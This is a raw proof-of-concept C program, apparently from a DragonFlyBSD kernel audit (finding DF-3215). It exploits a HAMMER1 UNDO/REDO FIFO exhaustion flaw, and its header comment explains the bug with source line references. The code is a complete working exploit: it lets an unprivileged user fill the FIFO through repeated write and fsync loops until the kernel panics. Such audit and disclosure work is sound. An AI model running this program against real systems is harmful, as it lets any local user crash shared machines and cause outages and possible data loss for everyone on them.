⬢ DragonFlyBSD Kernel Audit
DF-3215 / redo_fill.c
← back to finding ↓ download raw
/*
 * DF-3215 - HAMMER1 UNDO/REDO FIFO exhaustion trigger (unprivileged).
 *
 * hammer_generate_redo() (sys/vfs/hammer/hammer_redo.c:90-91) panics the
 * kernel when the UNDO/REDO FIFO has less than len + 48KB free:
 *
 *	if (hammer_undo_space(trans) < len + HAMMER_BUFSIZE*3)
 *		hpanic("insufficient UNDO/REDO FIFO space for redo!");
 *
 * There is NO waiting/throttling path for REDO generation: the frontend
 * write() lays REDO records into the FIFO at memory speed (bcopy + crc,
 * hammer_redo.c:97-277) and the space is only reclaimed when the flusher
 * completes a full finalize cycle (hammer_flusher_finalize final=1 updates
 * the on-disk first_offset one cycle in arrears).
 *
 * Default vfs.hammer.fsync_mode=3 enables the REDO fast-fsync path
 * (hammer_vnops.c:225-246), so write()+fsync() loops re-arm the 4MB
 * per-inode REDO budget (vfs.hammer.limit_redo) forever.
 *
 * This program: for each file, a first fsync() turns REDO on for the inode
 * (hammer_vnops.c:253-259), then repeated (write chunk, fsync) pairs lay
 * unbounded REDO records into the FIFO.  When the FIFO free space drops
 * below len+48KB the kernel panics.
 *
 * usage: redo_fill <dir> <nfiles> <chunk_bytes> <rounds>
 * (run as an unprivileged user on a mounted HAMMER v4+ filesystem)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dir;
	int nfiles, rounds;
	long chunk;
	char path[1024];
	char *buf;
	int *fds;
	int i, r;
	long total = 0;

	if (argc != 5) {
		fprintf(stderr,
		    "usage: %s <dir> <nfiles> <chunk_bytes> <rounds>\n",
		    argv[0]);
		exit(2);
	}
	dir = argv[1];
	nfiles = atoi(argv[2]);
	chunk = atol(argv[3]);
	rounds = atoi(argv[4]);

	buf = malloc(chunk);
	if (buf == NULL) {
		perror("malloc");
		exit(1);
	}
	memset(buf, 0x41, chunk);
	fds = calloc(nfiles, sizeof(int));

	/*
	 * Phase 0: create files and fsync each once.  The first fsync()
	 * performs a full flush and enables HAMMER_INODE_REDO for the
	 * inode (hammer_vnops.c:253-259).
	 */
	for (i = 0; i < nfiles; i++) {
		snprintf(path, sizeof(path), "%s/f%04d", dir, i);
		fds[i] = open(path, O_CREAT | O_RDWR | O_TRUNC, 0666);
		if (fds[i] < 0) {
			fprintf(stderr, "open %s: %s\n", path,
			    strerror(errno));
			exit(1);
		}
		if (write(fds[i], buf, 4096) != 4096) {
			fprintf(stderr, "phase0 write %s: %s\n", path,
			    strerror(errno));
			exit(1);
		}
	}
	for (i = 0; i < nfiles; i++) {
		if (fsync(fds[i]) != 0) {
			fprintf(stderr, "phase0 fsync f%04d: %s\n", i,
			    strerror(errno));
			exit(1);
		}
	}
	printf("phase0: REDO enabled on %d files\n", nfiles);
	fflush(stdout);

	/*
	 * Phase 1: each (write chunk, fsync) pair lays ~chunk bytes of
	 * REDO records (with payload) into the UNDO/REDO FIFO.  The
	 * fast-fsync resets redo_count so the budget never runs out.
	 */
	for (r = 0; r < rounds; r++) {
		for (i = 0; i < nfiles; i++) {
			ssize_t n;

			n = write(fds[i], buf, chunk);
			if (n != chunk) {
				printf("write failed r=%d f=%d: %s\n",
				    r, i, strerror(errno));
				printf("total redo laid: %ld bytes "
				    "(~%ld MB)\n", total, total >> 20);
				fflush(stdout);
				return (0);	/* post-fix success path */
			}
			total += chunk;
			if (fsync(fds[i]) != 0) {
				printf("fsync failed r=%d f=%d: %s\n",
				    r, i, strerror(errno));
				printf("total redo laid: %ld bytes "
				    "(~%ld MB)\n", total, total >> 20);
				fflush(stdout);
				return (0);	/* post-fix success path */
			}
		}
		printf("round %d/%d: %ld MB of redo records laid\n",
		    r + 1, rounds, total >> 20);
		fflush(stdout);
	}
	printf("done, no panic: total redo laid ~%ld MB\n", total >> 20);
	fflush(stdout);
	return (0);
}